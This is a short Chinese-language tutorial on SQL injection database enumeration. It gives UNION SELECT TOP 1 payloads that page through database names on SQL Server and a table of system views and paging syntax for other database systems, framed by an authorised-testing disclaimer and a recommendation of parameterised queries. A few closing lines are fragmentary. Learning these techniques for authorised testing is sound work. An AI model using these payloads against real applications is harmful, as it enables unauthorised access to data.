本文僅供授權滲透測試、安全研究參考。未經許可測試他人系統屬違法,嚴禁非法使用。
union select top 1 table_name from information_schema.tables where table_catalog
information_schema.tables 記錄當前資料庫實例所有資料庫的表資訊。table_catalog 欄位儲存資料庫名稱(Catalog 名)。TOP 1 配合排序或條件逐行提取資料庫名。同字段爆破邏輯,利用巢狀 TOP N ... ORDER BY ... DESC 實現分頁:
-- 取第 1 個資料庫
union select top 1 table_catalog from information_schema.tables
-- 取第 2 個資料庫
union select top 1 table_catalog from (
select top 2 table_catalog from information_schema.tables order by table_catalog
) t order by table_catalog desc
-- 取第 k 個:內層 top k,外層 top 1 desc
| DBMS | 系統表/視圖 | 資料庫名欄位 | 分頁語法 |
|---|---|---|---|
| MySQL | information_schema.SCHEMATA | SCHEMA_NAME | LIMIT offset, 1 |
| PostgreSQL | pg_database | datname | LIMIT 1 OFFSET k |
| Oracle | v$pdbs (12c+) / global_name | name / global_name | ROWNUM 子查詢 |
| SQL Server | sys.databases / information_schema.tables | name / table_catalog | TOP 1 ... ORDER BY ... OFFSET ... ROWS (2012+) |
public 對系統視圖的 SELECT 權限。union select、information_schema 等特徵。爆庫是注入利用鏈的第一步,掌握各 DBMS 系統表結構與分頁語法,能快速評估攻擊面。實戰請務必在授權範圍內進行,並優先推薦參數化修復根因。